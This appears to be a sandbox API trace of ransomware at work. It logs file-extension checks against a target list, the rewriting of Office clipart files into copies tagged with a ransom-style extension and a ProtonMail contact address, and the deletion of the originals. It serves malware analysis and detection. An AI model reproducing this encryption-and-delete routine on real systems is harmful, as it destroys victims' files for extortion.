	[0180.358] lstrlenW (lpString=".7z") returned 3
	[0180.358] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0180.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.358] lstrlenW (lpString=".dbf") returned 4
	[0180.358] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0180.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.359] lstrlenW (lpString=".1cd") returned 4
	[0180.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0180.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0180.359] lstrlenW (lpString=".jpg") returned 4
	[0180.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0180.359] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.359] lstrlenW (lpString="J0090027.WMF") returned 12
	[0180.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.359] GetFileSizeEx (in: hFile=0x5bc, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=21268) returned 1
	[0180.359] CloseHandle (hObject=0x5bc) returned 1
	[0180.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220
	[0180.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0180.360] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.360] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0180.361] GetLastError () returned 0x0
	[0180.361] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x5314, lpOverlapped=0x0) returned 1
	[0180.583] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x5320, lpOverlapped=0x0) returned 1
	[0180.585] ReadFile (in: hFile=0x5bc, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.585] WriteFile (in: hFile=0x4ac, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.585] SetEndOfFile (hFile=0x4ac) returned 1
	[0180.586] CloseHandle (hObject=0x4ac) returned 1
	[0180.586] SetFilePointerEx (in: hFile=0x5bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.586] SetEndOfFile (hFile=0x5bc) returned 1
	[0180.590] CloseHandle (hObject=0x5bc) returned 1
	[0180.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0182.504] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1
	[0182.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.505] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.505] lstrlenW (lpString=".doc") returned 4
	[0182.505] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.505] lstrlenW (lpString=".docx") returned 5
	[0182.505] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0182.505] lstrlenW (lpString=".pdf") returned 4
	[0182.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.506] lstrlenW (lpString=".xls") returned 4
	[0182.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.506] lstrlenW (lpString=".xlsx") returned 5
	[0182.506] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0182.506] lstrlenW (lpString=".ppt") returned 4
	[0182.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.506] lstrlenW (lpString=".zip") returned 4
	[0182.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.506] lstrlenW (lpString=".rar") returned 4
	[0182.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.506] lstrlenW (lpString=".bz2") returned 4
	[0182.506] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.506] lstrlenW (lpString=".7z") returned 3
	[0182.506] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.506] lstrlenW (lpString=".dbf") returned 4
	[0182.506] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.506] lstrlenW (lpString=".1cd") returned 4
	[0182.506] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.506] lstrlenW (lpString=".jpg") returned 4
	[0182.506] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.507] lstrlenW (lpString=".doc") returned 4
	[0182.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0182.507] lstrlenW (lpString=".docx") returned 5
	[0182.507] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0182.507] lstrlenW (lpString=".pdf") returned 4
	[0182.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0182.507] lstrlenW (lpString=".xls") returned 4
	[0182.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0182.507] lstrlenW (lpString=".xlsx") returned 5
	[0182.507] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0182.507] lstrlenW (lpString=".ppt") returned 4
	[0182.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0182.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.507] lstrlenW (lpString=".zip") returned 4
	[0182.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0182.507] lstrlenW (lpString=".rar") returned 4
	[0182.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0182.507] lstrlenW (lpString=".bz2") returned 4
	[0182.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0182.507] lstrlenW (lpString=".7z") returned 3
	[0182.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0182.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.507] lstrlenW (lpString=".dbf") returned 4
	[0182.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0182.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.508] lstrlenW (lpString=".1cd") returned 4
	[0182.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0182.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0182.508] lstrlenW (lpString=".jpg") returned 4
	[0182.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0182.508] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0182.508] lstrlenW (lpString="J0099147.JPG") returned 12
	[0182.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0183.691] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=24377) returned 1
	[0183.691] CloseHandle (hObject=0x4a8) returned 1
	[0183.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 0x220
	[0183.692] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0183.692] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.692] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.693] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0183.693] GetLastError () returned 0x0
	[0183.693] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x5f39, lpOverlapped=0x0) returned 1
	[0183.697] WriteFile (in: hFile=0x5b4, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0183.698] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.698] WriteFile (in: hFile=0x5b4, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.698] SetEndOfFile (hFile=0x5b4) returned 1
	[0183.699] CloseHandle (hObject=0x5b4) returned 1
	[0183.699] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.699] SetEndOfFile (hFile=0x4a8) returned 1
	[0183.702] CloseHandle (hObject=0x4a8) returned 1
	[0183.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099147.jpg")) returned 1
	[0183.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.709] lstrlenW (lpString=".doc") returned 4
	[0183.709] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.709] lstrlenW (lpString=".docx") returned 5
	[0183.710] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0183.710] lstrlenW (lpString=".pdf") returned 4
	[0183.710] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.710] lstrlenW (lpString=".xls") returned 4
	[0183.710] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.710] lstrlenW (lpString=".xlsx") returned 5
	[0183.710] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0183.710] lstrlenW (lpString=".ppt") returned 4
	[0183.710] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.710] lstrlenW (lpString=".zip") returned 4
	[0183.710] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.710] lstrlenW (lpString=".rar") returned 4
	[0183.710] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.710] lstrlenW (lpString=".bz2") returned 4
	[0183.710] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.710] lstrlenW (lpString=".7z") returned 3
	[0183.710] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.710] lstrlenW (lpString=".dbf") returned 4
	[0183.710] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.710] lstrlenW (lpString=".1cd") returned 4
	[0183.710] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.711] lstrlenW (lpString=".jpg") returned 4
	[0183.711] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.711] lstrlenW (lpString=".doc") returned 4
	[0183.711] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.711] lstrlenW (lpString=".docx") returned 5
	[0183.711] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0183.711] lstrlenW (lpString=".pdf") returned 4
	[0183.711] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.711] lstrlenW (lpString=".xls") returned 4
	[0183.711] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.711] lstrlenW (lpString=".xlsx") returned 5
	[0183.711] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0183.711] lstrlenW (lpString=".ppt") returned 4
	[0183.711] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.711] lstrlenW (lpString=".zip") returned 4
	[0183.711] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.711] lstrlenW (lpString=".rar") returned 4
	[0183.711] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.711] lstrlenW (lpString=".bz2") returned 4
	[0183.711] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.711] lstrlenW (lpString=".7z") returned 3
	[0183.711] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.712] lstrlenW (lpString=".dbf") returned 4
	[0183.712] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.712] lstrlenW (lpString=".1cd") returned 4
	[0183.712] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099147.JPG") returned 68
	[0183.712] lstrlenW (lpString=".jpg") returned 4
	[0183.712] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.712] lstrcmpiW (lpString1=".JPG", lpString2=".html") returned 1
	[0183.712] lstrlenW (lpString="J0099156.JPG") returned 12
	[0183.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0183.713] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=13954) returned 1
	[0183.713] CloseHandle (hObject=0x4a8) returned 1
	[0183.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 0x220
	[0183.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0183.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0183.714] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.714] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0183.715] GetLastError () returned 0x0
	[0183.715] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x3682, lpOverlapped=0x0) returned 1
	[0183.717] WriteFile (in: hFile=0x5b4, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x3690, lpOverlapped=0x0) returned 1
	[0183.719] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.719] WriteFile (in: hFile=0x5b4, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.719] SetEndOfFile (hFile=0x5b4) returned 1
	[0183.720] CloseHandle (hObject=0x5b4) returned 1
	[0183.720] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.720] SetEndOfFile (hFile=0x4a8) returned 1
	[0183.724] CloseHandle (hObject=0x4a8) returned 1
	[0183.724] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0183.724] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099156.jpg")) returned 1
	[0183.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.726] lstrlenW (lpString=".doc") returned 4
	[0183.726] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.726] lstrlenW (lpString=".docx") returned 5
	[0183.726] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0183.726] lstrlenW (lpString=".pdf") returned 4
	[0183.726] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.726] lstrlenW (lpString=".xls") returned 4
	[0183.726] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.727] lstrlenW (lpString=".xlsx") returned 5
	[0183.727] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0183.727] lstrlenW (lpString=".ppt") returned 4
	[0183.727] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.727] lstrlenW (lpString=".zip") returned 4
	[0183.727] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.727] lstrlenW (lpString=".rar") returned 4
	[0183.727] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.727] lstrlenW (lpString=".bz2") returned 4
	[0183.727] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.727] lstrlenW (lpString=".7z") returned 3
	[0183.727] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0183.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.727] lstrlenW (lpString=".dbf") returned 4
	[0183.727] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0183.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.727] lstrlenW (lpString=".1cd") returned 4
	[0183.727] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0183.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.727] lstrlenW (lpString=".jpg") returned 4
	[0183.727] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0183.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.727] lstrlenW (lpString=".doc") returned 4
	[0183.727] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0183.727] lstrlenW (lpString=".docx") returned 5
	[0183.727] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1
	[0183.727] lstrlenW (lpString=".pdf") returned 4
	[0183.728] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0183.728] lstrlenW (lpString=".xls") returned 4
	[0183.728] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0183.728] lstrlenW (lpString=".xlsx") returned 5
	[0183.728] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1
	[0183.728] lstrlenW (lpString=".ppt") returned 4
	[0183.728] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0183.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099156.JPG") returned 68
	[0183.728] lstrlenW (lpString=".zip") returned 4
	[0183.728] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0183.728] lstrlenW (lpString=".rar") returned 4
	[0183.728] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0183.728] lstrlenW (lpString=".bz2") returned 4
	[0183.728] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0183.728] lstrlenW (lpString=".7z") returned 3
